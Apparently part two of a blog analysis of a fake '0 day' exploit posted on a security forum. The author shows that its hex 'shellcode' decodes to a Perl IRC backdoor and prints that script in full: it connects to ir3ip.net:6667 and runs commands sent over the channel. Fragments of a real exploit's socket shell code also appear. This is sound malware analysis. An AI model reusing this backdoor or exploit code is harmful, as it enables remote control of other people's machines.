We left off in part one just where things were going to get really interesting. You will recall I suggested reading a link that I included towards the end of that first part. The whole point of giving that link a read was to familiarize yourself with computer system calls like send(), and recv(). It is these system calls that allow exploit code to negotiate the TCP/IP three way hand shake. This handshake is required to set up communications between two computers. It would after all be difficult to try, and exploit a machine with your carefully crafted exploit code if it did not contain system calls to get send and receive the packets.
Analysis begins
One of the first things I noticed about the “exploit code” that I included in Part 1 was that there were no system calls. This gave me the sneaking suspicion that whatever was going to happen was going to happen locally ie: on the machine this code was compiled and executed on. Seeing however is beleiving so please see the below noted code snippet from this publicly available exploit.
void con(int sockfd)
{
char rb[1500];
fd_set fdreadme;
int i;
FD_ZERO(&fdreadme);
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
while(1)
{
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0 ) break;
if(FD_ISSET(sockfd, &fdreadme))
{
if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0)
{
printf(“[-] Connection lost..\n”);
exit(1);
}
if(write(1, rb, i) < 0) break;
}
if(FD_ISSET(0, &fdreadme))
{
if((i = read(0, rb, sizeof(rb))) < 0)
{
printf(“[-] Connection lost..\n”);
exit(1);
}
if (send(sockfd, rb, i, 0) < 0) break;
}
usleep(10000);
}
printf(“[-] Connection closed by foreign host..\n”);
exit(0);
}
int main(int argc, char **argv)
{
int len, len1, sockfd, c, a;
unsigned long ret;
unsigned short port = 135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short lportl=666; /* drg */
char lport[4] = “\x00\xFF\xFF\x8b”; /* drg */
struct hostent *he;
struct sockaddr_in their_addr;
static char *hostname=NULL;
if(argc<2)
{
usage(argv[0]);
}
while((c = getopt(argc, argv, “d:t:r:p:l:”))!= EOF)
{
switch (c)
{
case ‘d’:
hostname = optarg;
break;
case ‘t’:
type = atoi(optarg);
if((type > 1) || (type < 0))
{
printf(“[-] Select a valid target:\n”);
for(a = 0; a < sizeof(targets)/sizeof(v); a++)
printf(” %d [0x%.8x]: %s\n”, a, targets[a].ret, targets[a].os);
return 1;
}
break;
case ‘r’:
targets[type].ret = strtoul(optarg, NULL, 16);
break;
case ‘p’:
port = atoi(optarg);
if((port > 65535) || (port < 1))
{
printf(“[-] Select a port between 1-65535\n”);
return 1;
}
break;
case ‘l’:
lportl = atoi(optarg);
if((port > 65535) || (port < 1))
{
printf(“[-] Select a port between 1-65535\n”);
return 1;
}
break;
default:
usage(argv[0]);
return 1;
}
}
The code shown above reveals information about the raw socket which will be used to convey the packets used in this attack. Suffice it to say that there were no such attempts at creating a raw socket in the exploit that was posted in the forum by the individual claiming it was a 0 day exploit. Once this was ascertained alarm bells should be starting to go off in your head. If there are no system calls being used to deliver the exploit payload to the destination machine then just where is this code going to execute? You guessed it; right on the local machine itself. In reality you are not going to be exploiting anyone, but rather the code will be exploiting you!
One more thing about this supposed exploit bothered me as well. If you have not yet taken a look at the link I included for you to look at up above please do so now. What also bothered me here is that there was a surprisingly small amount of machine language or ASM as it is also called. The supposed ASM in the code listed in part I looks like the small snippet below;
char *shellcode_payload=
\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x3
\x68\x61\x6e\x3d\x22\x23\x30\x78\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22\xb
\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22\x69\x72\x33\x69\x70\x2e\xe
\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\xb
\x65\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x9
Though I am not a developer by nature, nor by extension an exploit developer I can still tell you that most every exploit I have seen has a good deal more ASM in it then this one. Not only that but most exploit code has its ASM chunks containing a NOP sled, which consists of the character 0x90. These functions are included for a specific reason, which is beyond the scope of this article. It is very rare indeed to see an exploit which does not contain this 0x90 in it. You could call this an identifying feature of exploit code for the IDS vendors use it to build IDS signatures. At this point in the game I am wondering if this is even ASM at all. Is it possibly simply hex encoded ascii strings I wonder? Well there is only one way to find out!
Converting HEX to ASCII
You will recall in Part 1 that I recommended you download the program hex2.exe. This is the program that we will use to convert the supposed ASM into ASCII, and see what is revealed if anything. First off I will input the small little “ASM” snippet into the hex2.exe converter. Ensure that you paste the code into the Hexadecimal window. Once you are done press the button next to it “Convert Hex to Dec and Bin”. What is revealed is shown below in the picture.
Well very interesting indeed this is! What the devil is this /tmp/hi all about then? Based on this little fragment alone I would say someone has created a directory called /tmp/hi on the linux lab machine. Most curious, but it gets better though. Next I paste into hex2.exe the large chunk of “ASM” for conversion. Lets take a look at the results in the below noted screenshot.
We have what appears to be a PERL script. Most of the script itself is hidden in the hex2.exe program so I have pasted and formatted the contents of it below for us to look at.
#!/usr/bin/perl
$chan=”#0x”;$nick=”k”;$server=”ir3ip.net“;
$SIG{TERM}={};
exit if fork;use IO::Socket;
$sock = IO::Socket::INET->new($server.”:6667″)||exit;
print $sock “USER k +i k :kv1\nNICK k\n”;
$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;
last if $mode==”001″;
if($mode==”433″){$i++;$nick=~s/\d*$/$i/;
print $sock “NICK $nick\n”;}}
print $sock “JOIN $chan\nPRIVMSG $chan :Hi\n”;
while(<$sock>){if (/^PING (.*)$/){print $sock “PONG $1\nJOIN $chan\n”;}
if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;
$_=`$_`;foreach(split “\n”){print $sock “PRIVMSG $chan :$_\n”;sleep 1;}}
}#/tmp/hi
Well by looking at this quickly I can tell why we did not have any system calls in the supposed exploit code. Please note in line four and five that a socket is going to be created. So we have now confirmed that this bogus exploit code is going to execute locally on the linux lab machine, or the win32 machine had I been doing this via Cygwin. This is not the only nugget of information to be extracted from this though. We can now confirm that this code is going to open a socket on the machine of the person executing this code, which in turn will be used to contact an IRC server. This is also illustrated by the lines four and five. Better yet the actual IRC server itself is identified in line two. The chat room, and the username to sign in with on the server are also seen on line two.
Finally some answers!
Well with the above noted information in hand it certainly appears that this is indeed not a 0 day exploit code as postulated by the poster. What we have here is a half-baked attempt at social engineering. Not only that, but a rather odd place to do it in at that. Of all the places to pull this con job surely an online computer security forum was not the best of places. Oddly enough when I contacted the poster via the email address they listed I got no response. No great surprise there, but was curious to see if the poster would have had the chutzpah to respond to me. At this point we will end Part 2 and in Part 3 we will actually go over the packet trace generated by this “exploit”. Being a good analyst I of course made sure I had a packet sniffer running while this code did its work. In Part 3 you will see at a packet level exactly what has transpired, and I daresay that is the coolest part!
